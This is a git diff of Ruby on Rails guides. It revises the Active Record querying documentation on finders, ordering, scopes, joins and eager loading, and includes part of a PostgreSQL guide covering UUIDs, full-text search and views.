+```ruby
+# db/migrate/20131220144913_create_devices.rb
+enable_extension 'uuid-ossp' unless extension_enabled?('uuid-ossp')
+create_table :devices, id: :uuid, default: 'uuid_generate_v4()' do |t|
+ t.string :kind
+end
+
+# app/models/device.rb
+class Device < ActiveRecord::Base
+end
+
+# Usage
+device = Device.create
+device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e"
+```
+
+Full Text Search
+----------------
+
+```ruby
+# db/migrate/20131220144913_create_documents.rb
+create_table :documents do |t|
+ t.string 'title'
+ t.string 'body'
+end
+
+execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));"
+
+# app/models/document.rb
+class Document < ActiveRecord::Base
+end
+
+# Usage
+Document.create(title: "Cats and Dogs", body: "are nice!")
+
+## all documents matching 'cat & dog'
+Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
+ "cat & dog")
+```
+
+Database Views
+--------------
+
+* [view creation](http://www.postgresql.org/docs/9.3/static/sql-createview.html)
+
+Imagine you need to work with a legacy database containing the following table:
+
+```
+rails_pg_guide=# \d "TBL_ART"
+ Table "public.TBL_ART"
+ Column | Type | Modifiers
+------------+-----------------------------+------------------------------------------------------------
+ INT_ID | integer | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
+ STR_TITLE | character varying |
+ STR_STAT | character varying | default 'draft'::character varying
+ DT_PUBL_AT | timestamp without time zone |
+ BL_ARCH | boolean | default false
+Indexes:
+ "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")
+```
+
+This table does not follow the Rails conventions at all.
+Because simple PostgreSQL views are updateable by default,
+we can wrap it as follows:
+
+```ruby
+# db/migrate/20131220144913_create_articles_view.rb
+execute <<-SQL
+CREATE VIEW articles AS
+ SELECT "INT_ID" AS id,
+ "STR_TITLE" AS title,
+ "STR_STAT" AS status,
+ "DT_PUBL_AT" AS published_at,
+ "BL_ARCH" AS archived
+ FROM "TBL_ART"
+ WHERE "BL_ARCH" = 'f'
+ SQL
+
+# app/models/article.rb
+class Article < ActiveRecord::Base
+ self.primary_key = "id"
+ def archive!
+ update_attribute :archived, true
+ end
+end
+
+# Usage
+first = Article.create! title: "Winter is coming",
+ status: "published",
+ published_at: 1.year.ago
+second = Article.create! title: "Brace yourself",
+ status: "draft",
+ published_at: 1.month.ago
+
+Article.count # => 1
+first.archive!
+Article.count # => 2
+```
+
+NOTE: This application only cares about non-archived `Articles`. A view also
+allows for conditions so we can exclude the archived `Articles` directly.
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index 24f98f68ca..e1a465c64f 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -58,6 +58,7 @@ The methods are:
* `bind`
* `create_with`
+* `distinct`
* `eager_load`
* `extending`
* `from`
@@ -90,11 +91,11 @@ The primary operation of `Model.find(options)` can be summarized as:
### Retrieving a Single Object
-Active Record provides five different ways of retrieving a single object.
+Active Record provides several different ways of retrieving a single object.
-#### Using a Primary Key
+#### `find`
-Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+Using the `find` method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
```ruby
# Find the client with primary key (id) 10.
@@ -108,119 +109,103 @@ The SQL equivalent of the above is:
SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
```
-`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
+The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
-#### `take`
-
-`Model.take` retrieves a record without any implicit ordering. For example:
+You can also use this method to query for multiple objects. Call the `find` method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied _primary keys_. For example:
```ruby
-client = Client.take
-# => #<Client id: 1, first_name: "Lifo">
+# Find the clients with primary keys 1 and 10.
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
```
The SQL equivalent of the above is:
```sql
-SELECT * FROM clients LIMIT 1
+SELECT * FROM clients WHERE (clients.id IN (1,10))
```
-`Model.take` returns `nil` if no record is found and no exception will be raised.
-
-TIP: The retrieved record may vary depending on the database engine.
+WARNING: The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
-#### `first`
+#### `take`
-`Model.first` finds the first record ordered by the primary key. For example:
+The `take` method retrieves a record without any implicit ordering. For example:
```ruby
-client = Client.first
+client = Client.take
# => #<Client id: 1, first_name: "Lifo">
```
The SQL equivalent of the above is:
```sql
-SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+SELECT * FROM clients LIMIT 1
```
-`Model.first` returns `nil` if no matching record is found and no exception will be raised.
+The `take` method returns `nil` if no record is found and no exception will be raised.
-#### `last`
-
-`Model.last` finds the last record ordered by the primary key. For example:
+You can pass in a numerical argument to the `take` method to return up to that number of results. For example
```ruby
-client = Client.last
-# => #<Client id: 221, first_name: "Russel">
+client = Client.take(2)
+# => [
+ #<Client id: 1, first_name: "Lifo">,
+ #<Client id: 220, first_name: "Sara">
+]
```
The SQL equivalent of the above is:
```sql
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-```
-
-`Model.last` returns `nil` if no matching record is found and no exception will be raised.
-
-#### `find_by`
-
-`Model.find_by` finds the first record matching some conditions. For example:
-
-```ruby
-Client.find_by first_name: 'Lifo'
-# => #<Client id: 1, first_name: "Lifo">
-
-Client.find_by first_name: 'Jon'
-# => nil
+SELECT * FROM clients LIMIT 2
```
-It is equivalent to writing:
+The `take!` method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
-```ruby
-Client.where(first_name: 'Lifo').take
-```
+TIP: The retrieved record may vary depending on the database engine.
-#### `take!`
+#### `first`
-`Model.take!` retrieves a record without any implicit ordering. For example:
+The `first` method finds the first record ordered by the primary key. For example:
```ruby
-client = Client.take!
+client = Client.first
# => #<Client id: 1, first_name: "Lifo">
```
The SQL equivalent of the above is:
```sql
-SELECT * FROM clients LIMIT 1
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
```
-`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+The `first` method returns `nil` if no matching record is found and no exception will be raised.
-#### `first!`
-
-`Model.first!` finds the first record ordered by the primary key. For example:
+You can pass in a numerical argument to the `first` method to return up to that number of results. For example
```ruby
-client = Client.first!
-# => #<Client id: 1, first_name: "Lifo">
+client = Client.first(3)
+# => [
+ #<Client id: 1, first_name: "Lifo">,
+ #<Client id: 2, first_name: "Fifo">,
+ #<Client id: 3, first_name: "Filo">
+]
```
The SQL equivalent of the above is:
```sql
-SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3
```
-`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
-#### `last!`
+#### `last`
-`Model.last!` finds the last record ordered by the primary key. For example:
+The `last` method finds the last record ordered by the primary key. For example:
```ruby
-client = Client.last!
+client = Client.last
# => #<Client id: 221, first_name: "Russel">
```
@@ -230,92 +215,56 @@ The SQL equivalent of the above is:
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
```
-`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
-
-#### `find_by!`
+The `last` method returns `nil` if no matching record is found and no exception will be raised.
-`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example:
+You can pass in a numerical argument to the `last` method to return up to that number of results. For example
```ruby
-Client.find_by! first_name: 'Lifo'
-# => #<Client id: 1, first_name: "Lifo">
-
-Client.find_by! first_name: 'Jon'
-# => ActiveRecord::RecordNotFound
-```
-
-It is equivalent to writing:
-
-```ruby
-Client.where(first_name: 'Lifo').take!
-```
-
-### Retrieving Multiple Objects
-
-#### Using Multiple Primary Keys
-
-`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
-
-```ruby
-# Find the clients with primary keys 1 and 10.
-client = Client.find([1, 10]) # Or even Client.find(1, 10)
-# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+client = Client.last(3)
+# => [
+ #<Client id: 219, first_name: "James">,
+ #<Client id: 220, first_name: "Sara">,
+ #<Client id: 221, first_name: "Russel">
+]
```
The SQL equivalent of the above is:
```sql
-SELECT * FROM clients WHERE (clients.id IN (1,10))
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3
```
-WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
+The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
-#### take
+#### `find_by`
-`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering:
+The `find_by` method finds the first record matching some conditions. For example:
```ruby
-Client.take(2)
-# => [#<Client id: 1, first_name: "Lifo">,
- #<Client id: 2, first_name: "Raf">]
-```
-
-The SQL equivalent of the above is:
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
-```sql
-SELECT * FROM clients LIMIT 2
+Client.find_by first_name: 'Jon'
+# => nil
```
-#### first
-
-`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key:
+It is equivalent to writing:
```ruby
-Client.first(2)
-# => [#<Client id: 1, first_name: "Lifo">,
- #<Client id: 2, first_name: "Raf">]
-```
-
-The SQL equivalent of the above is:
-
-```sql
-SELECT * FROM clients LIMIT 2
+Client.where(first_name: 'Lifo').take
```
-#### last
-
-`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order:
+The `find_by!` method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example:
```ruby
-Client.last(2)
-# => [#<Client id: 10, first_name: "Ryan">,
- #<Client id: 9, first_name: "John">]
+Client.find_by! first_name: 'does not exist'
+# => ActiveRecord::RecordNotFound
```
-The SQL equivalent of the above is:
+This is equivalent to writing:
-```sql
-SELECT * FROM clients ORDER By id DESC LIMIT 2
+```ruby
+Client.where(first_name: 'does not exist').take!
```
### Retrieving Multiple Objects in Batches
@@ -327,7 +276,7 @@ This may appear straightforward:
```ruby
# This is very inefficient when the users table has thousands of rows.
User.all.each do |user|
- NewsLetter.weekly_deliver(user)
+ NewsMailer.weekly(user).deliver_now
end
```
@@ -343,7 +292,15 @@ The `find_each` method retrieves a batch of records and then yields _each_ recor
```ruby
User.find_each do |user|
- NewsLetter.weekly_deliver(user)
+ NewsMailer.weekly(user).deliver_now
+end
+```
+
+To add conditions to a `find_each` operation you can chain other Active Record methods such as `where`:
+
+```ruby
+User.where(weekly_subscriber: true).find_each do |user|
+ NewsMailer.weekly(user).deliver_now
end
```
@@ -359,7 +316,7 @@ The `:batch_size` option allows you to specify the number of records to be retri
```ruby
User.find_each(batch_size: 5000) do |user|
- NewsLetter.weekly_deliver(user)
+ NewsMailer.weekly(user).deliver_now
end
```
@@ -371,7 +328,7 @@ For example, to send newsletters only to users with the primary key starting fro
```ruby
User.find_each(start: 2000, batch_size: 5000) do |user|
- NewsLetter.weekly_deliver(user)
+ NewsMailer.weekly(user).deliver_now
end
```
@@ -383,16 +340,14 @@ The `find_in_batches` method is similar to `find_each`, since both retrieve batc
```ruby
# Give add_invoices an array of 1000 invoices at a time
-Invoice.find_in_batches(include: :invoice_lines) do |invoices|
+Invoice.find_in_batches do |invoices|
export.add_invoices(invoices)
end
```
-NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models.
-
##### Options for `find_in_batches`
-The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`.
+The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`.
Conditions
----------
@@ -435,7 +390,7 @@ to this code:
Client.where("orders_count = #{params[:orders]}")
```
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
@@ -471,8 +426,8 @@ Client.where('locked' => true)
In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.
```ruby
-Post.where(author: author)
-Author.joins(:posts).where(posts: {author: author})
+Article.where(author: author)
+Author.joins(:articles).where(articles: { author: author })
```
NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
@@ -505,19 +460,15 @@ This code will generate SQL like this:
SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
```
-### NOT, LIKE, and NOT LIKE Conditions
+### NOT Conditions
-`NOT`, `LIKE`, and `NOT LIKE` SQL queries can be built by `where.not`, `where.like`, and `where.not_like` respectively.
+`NOT` SQL queries can be built by `where.not`.
```ruby
-Post.where.not(author: author)
-
-Author.where.like(name: 'Nari%')
-
-Developer.where.not_like(name: 'Tenderl%')
+Article.where.not(author: author)
```
-In other words, these sort of queries can be generated by calling `where` with no argument, then immediately chain with `not`, `like`, or `not_like` passing `where` conditions.
+In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions.
Ordering
--------
@@ -527,12 +478,18 @@ To retrieve records from the database in a specific order, you can use the `orde
For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
```ruby
+Client.order(:created_at)
+# OR
Client.order("created_at")
```
You could specify `ASC` or `DESC` as well:
```ruby
+Client.order(created_at: :desc)
+# OR
+Client.order(created_at: :asc)
+# OR
Client.order("created_at DESC")
# OR
Client.order("created_at ASC")
@@ -541,16 +498,20 @@ Client.order("created_at ASC")
Or ordering by multiple fields:
```ruby
+Client.order(orders_count: :asc, created_at: :desc)
+# OR
+Client.order(:orders_count, created_at: :desc)
+# OR
Client.order("orders_count ASC, created_at DESC")
# OR
Client.order("orders_count ASC", "created_at DESC")
```
-If you want to call `order` multiple times e.g. in different context, new order will prepend previous one
+If you want to call `order` multiple times e.g. in different context, new order will append previous one
```ruby
Client.order("orders_count ASC").order("created_at DESC")
-# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
+# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
```
Selecting Specific Fields
@@ -580,10 +541,10 @@ ActiveModel::MissingAttributeError: missing attribute: <attribute>
Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
-If you would like to only grab a single record per unique value in a certain field, you can use `uniq`:
+If you would like to only grab a single record per unique value in a certain field, you can use `distinct`:
```ruby
-Client.select(:name).uniq
+Client.select(:name).distinct
```
This would generate SQL like:
@@ -595,10 +556,10 @@ SELECT DISTINCT name FROM clients
You can also remove the uniqueness constraint:
```ruby
-query = Client.select(:name).uniq
+query = Client.select(:name).distinct
# => Returns unique names
-query.uniq(false)
+query.distinct(false)
# => Returns all names, even if there are duplicates
```
@@ -652,6 +613,23 @@ FROM orders
GROUP BY date(created_at)
```
+### Total of grouped items
+
+To get the total of grouped items on a single query call `count` after the `group`.
+
+```ruby
+Order.group(:status).count
+# => { 'awaiting_approval' => 7, 'paid' => 12 }
+```
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT COUNT (*) AS count_all, status AS status
+FROM "orders"
+GROUP BY status
+```
+
Having
------
@@ -678,18 +656,37 @@ This will return single order objects for each day, but only those that are orde
Overriding Conditions
---------------------
-### `except`
+### `unscope`
-You can specify certain conditions to be excepted by using the `except` method. For example:
+You can specify certain conditions to be removed using the `unscope` method. For example:
```ruby
-Post.where('id > 10').limit(20).order('id asc').except(:order)
+Article.where('id > 10').limit(20).order('id asc').unscope(:order)
```
The SQL that would be executed:
```sql
-SELECT * FROM posts WHERE id > 10 LIMIT 20
+SELECT * FROM articles WHERE id > 10 LIMIT 20
+
+# Original query without `unscope`
+SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20
+
+```
+
+You can also unscope specific `where` clauses. For example:
+
+```ruby
+Article.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "articles".* FROM "articles" WHERE trashed = 0
+```
+
+A relation which has used `unscope` will affect any relation it is
+merged in to:
+
+```ruby
+Article.order('id asc').merge(Article.unscope(:order))
+# SELECT "articles".* FROM "articles"
```
### `only`
@@ -697,13 +694,17 @@ SELECT * FROM posts WHERE id > 10 LIMIT 20
You can also override conditions using the `only` method. For example:
```ruby
-Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
+Article.where('id > 10').limit(20).order('id desc').only(:order, :where)
```
The SQL that would be executed:
```sql
-SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
+SELECT * FROM articles WHERE id > 10 ORDER BY id DESC
+
+# Original query without `only`
+SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20
+
```
### `reorder`
@@ -711,25 +712,25 @@ SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
The `reorder` method overrides the default scope order. For example:
```ruby
-class Post < ActiveRecord::Base
- ..
- ..
- has_many :comments, order: 'posted_at DESC'
+class Article < ActiveRecord::Base
+ has_many :comments, -> { order('posted_at DESC') }
end
-Post.find(10).comments.reorder('name')
+Article.find(10).comments.reorder('name')
```
The SQL that would be executed:
```sql
-SELECT * FROM posts WHERE id = 10 ORDER BY name
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY name
```
In case the `reorder` clause is not used, the SQL executed would be:
```sql
-SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
```
### `reverse_order`
@@ -760,27 +761,53 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
This method accepts **no** arguments.
+### `rewhere`
+
+The `rewhere` method overrides an existing, named where condition. For example:
+
+```ruby
+Article.where(trashed: true).rewhere(trashed: false)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM articles WHERE `trashed` = 0
+```
+
+In case the `rewhere` clause is not used,
+
+```ruby
+Article.where(trashed: true).where(trashed: false)
+```
+
+the SQL executed would be:
+
+```sql
+SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0
+```
+
Null Relation
-------------
The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
```ruby
-Post.none # returns an empty Relation and fires no queries.
+Article.none # returns an empty Relation and fires no queries.
```
```ruby
-# The visible_posts method below is expected to return a Relation.
-@posts = current_user.visible_posts.where(name: params[:name])
+# The visible_articles method below is expected to return a Relation.
+@articles = current_user.visible_articles.where(name: params[:name])
-def visible_posts
+def visible_articles
case role
when 'Country Manager'
- Post.where(country: country)
+ Article.where(country: country)
when 'Reviewer'
- Post.published
+ Article.published
when 'Bad User'
- Post.none # => returning [] or nil breaks the caller code in this case
+ Article.none # => returning [] or nil breaks the caller code in this case
end
end
```
@@ -905,23 +932,23 @@ SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id =
WARNING: This method only works with `INNER JOIN`.
-Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method.
-For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:
+For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models:
```ruby
class Category < ActiveRecord::Base
- has_many :posts
+ has_many :articles
end
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
belongs_to :category
has_many :comments
has_many :tags
end
class Comment < ActiveRecord::Base
- belongs_to :post
+ belongs_to :article
has_one :guest
end
@@ -930,7 +957,7 @@ class Guest < ActiveRecord::Base
end
class Tag < ActiveRecord::Base
- belongs_to :post
+ belongs_to :article
end
```
@@ -939,64 +966,64 @@ Now all of the following will produce the expected join queries using `INNER JOI
#### Joining a Single Association
```ruby
-Category.joins(:posts)
+Category.joins(:articles)
```
This produces:
```sql
SELECT categories.* FROM categories
- INNER JOIN posts ON posts.category_id = categories.id
+ INNER JOIN articles ON articles.category_id = categories.id
```
-Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).select("distinct(categories.id)")`.
+Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).uniq`.
#### Joining Multiple Associations
```ruby
-Post.joins(:category, :comments)
+Article.joins(:category, :comments)
```
This produces:
```sql
-SELECT posts.* FROM posts
- INNER JOIN categories ON posts.category_id = categories.id
- INNER JOIN comments ON comments.post_id = posts.id
+SELECT articles.* FROM articles
+ INNER JOIN categories ON articles.category_id = categories.id
+ INNER JOIN comments ON comments.article_id = articles.id
```
-Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
+Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times.
#### Joining Nested Associations (Single Level)
```ruby
-Post.joins(comments: :guest)
+Article.joins(comments: :guest)
```
This produces:
```sql
-SELECT posts.* FROM posts
- INNER JOIN comments ON comments.post_id = posts.id
+SELECT articles.* FROM articles
+ INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id
```
-Or, in English: "return all posts that have a comment made by a guest."
+Or, in English: "return all articles that have a comment made by a guest."
#### Joining Nested Associations (Multiple Level)
```ruby
-Category.joins(posts: [{comments: :guest}, :tags])
+Category.joins(articles: [{ comments: :guest }, :tags])
```
This produces:
```sql
SELECT categories.* FROM categories
- INNER JOIN posts ON posts.category_id = categories.id
- INNER JOIN comments ON comments.post_id = posts.id
+ INNER JOIN articles ON articles.category_id = categories.id
+ INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id
- INNER JOIN tags ON tags.post_id = posts.id
+ INNER JOIN tags ON tags.article_id = articles.id
```
### Specifying Conditions on the Joined Tables
@@ -1012,7 +1039,7 @@ An alternative and cleaner syntax is to nest the hash conditions:
```ruby
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where(orders: {created_at: time_range})
+Client.joins(:orders).where(orders: { created_at: time_range })
```
This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
@@ -1065,18 +1092,18 @@ Active Record lets you eager load any number of associations with a single `Mode
#### Array of Multiple Associations
```ruby
-Post.includes(:category, :comments)
+Article.includes(:category, :comments)
```
-This loads all the posts and the associated category and comments for each post.
+This loads all the articles and the associated category and comments for each article.
#### Nested Associations Hash
```ruby
-Category.includes(posts: [{comments: :guest}, :tags]).find(1)
+Category.includes(articles: [{ comments: :guest }, :tags]).find(1)
```
-This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
+This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association.
### Specifying Conditions on Eager Loaded Associations
@@ -1085,18 +1112,31 @@ Even though Active Record lets you specify conditions on the eager loaded associ
However if you must do this, you may use `where` as you would normally.
```ruby
-Post.includes(:comments).where("comments.visible" => true)
+Article.includes(:comments).where(comments: { visible: true })
```
-This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead.
+This would generate a query which contains a `LEFT OUTER JOIN` whereas the
+`joins` method would generate one using the `INNER JOIN` function instead.
```ruby
- SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
+ SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1)
```
If there was no `where` condition, this would generate the normal set of two queries.
-If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.
+NOTE: Using `where` like this will only work when you pass it a Hash. For
+SQL-fragments you need use `references` to force joined tables:
+
+```ruby
+Article.includes(:comments).where("comments.visible = true").references(:comments)
+```
+
+If, in the case of this `includes` query, there were no comments for any
+articles, all the articles would still be loaded. By using `joins` (an INNER
+JOIN), the join conditions **must** match, otherwise no records will be
+returned.
+
+
Scopes
------
@@ -1106,7 +1146,7 @@ Scoping allows you to specify commonly-used queries which can be referenced as m
To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
scope :published, -> { where(published: true) }
end
```
@@ -1114,7 +1154,7 @@ end
This is exactly the same as defining a class method, and which you use is a matter of personal preference:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
def self.published
where(published: true)
end
@@ -1124,7 +1164,7 @@ end
Scopes are also chainable within scopes:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
scope :published, -> { where(published: true) }
scope :published_and_commented, -> { published.where("comments_count > 0") }
end
@@ -1133,14 +1173,14 @@ end
To call this `published` scope we can call it on either the class:
```ruby
-Post.published # => [published posts]
+Article.published # => [published articles]
```
-Or on an association consisting of `Post` objects:
+Or on an association consisting of `Article` objects:
```ruby
category = Category.first
-category.posts.published # => [published posts belonging to this category]
+category.articles.published # => [published articles belonging to this category]
```
### Passing in arguments
@@ -1148,21 +1188,21 @@ category.posts.published # => [published posts belonging to this category]
Your scope can take arguments:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
scope :created_before, ->(time) { where("created_at < ?", time) }
end
```
-This may then be called using this:
+Call the scope as if it were a class method:
```ruby
-Post.created_before(Time.zone.now)
+Article.created_before(Time.zone.now)
```
However, this is just duplicating the functionality that would be provided to you by a class method.
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
def self.created_before(time)
where("created_at < ?", time)
end
@@ -1172,7 +1212,7 @@ end
Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
```ruby
-category.posts.created_before(time)
+category.articles.created_before(time)
```
### Applying a default scope
@@ -1204,6 +1244,59 @@ class Client < ActiveRecord::Base
end
```
+### Merging of scopes
+
+Just like `where` clauses scopes are merged using `AND` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.active.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+```
+
+We can mix and match `scope` and `where` conditions and the final sql
+will have all conditions joined with `AND`.
+
+```ruby
+User.active.where(state: 'finished')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+```
+
+If we do want the `last where clause` to win then `Relation#merge` can
+be used.
+
+```ruby
+User.active.merge(User.inactive)
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+One important caveat is that `default_scope` will be prepended in
+`scope` and `where` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+As you can see above the `default_scope` is being merged in both
+`scope` and `where` conditions.
+
### Removing All Scoping
If we wish to remove scoping for any reason we can use the `unscoped` method. This is
@@ -1211,7 +1304,7 @@ especially useful if a `default_scope` is specified in the model and should not
applied for this particular query.
```ruby
-Client.unscoped.all
+Client.unscoped.load
```
This method removes all scoping and will do a normal query on the table.
@@ -1221,16 +1314,14 @@ recommended that you use the block form of `unscoped`:
```ruby
Client.unscoped {
- Client.created_before(Time.zome.now)
+ Client.created_before(Time.zone.now)
}
```
Dynamic Finders
---------------
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` and `find_all_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and `find_all_by_locked` methods.
-
-You can also use `find_last_by_*` methods which will find the last record matching your argument.
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
@@ -1239,6 +1330,11 @@ If you want to find both by name and locked, you can chain these finders togethe
Find or Build a New Object
--------------------------
+NOTE: Some dynamic finders have been deprecated in Rails 4.0 and will be
+removed in Rails 4.1. The best practice is to use Active Record scopes
+instead. You can find the deprecation gem at
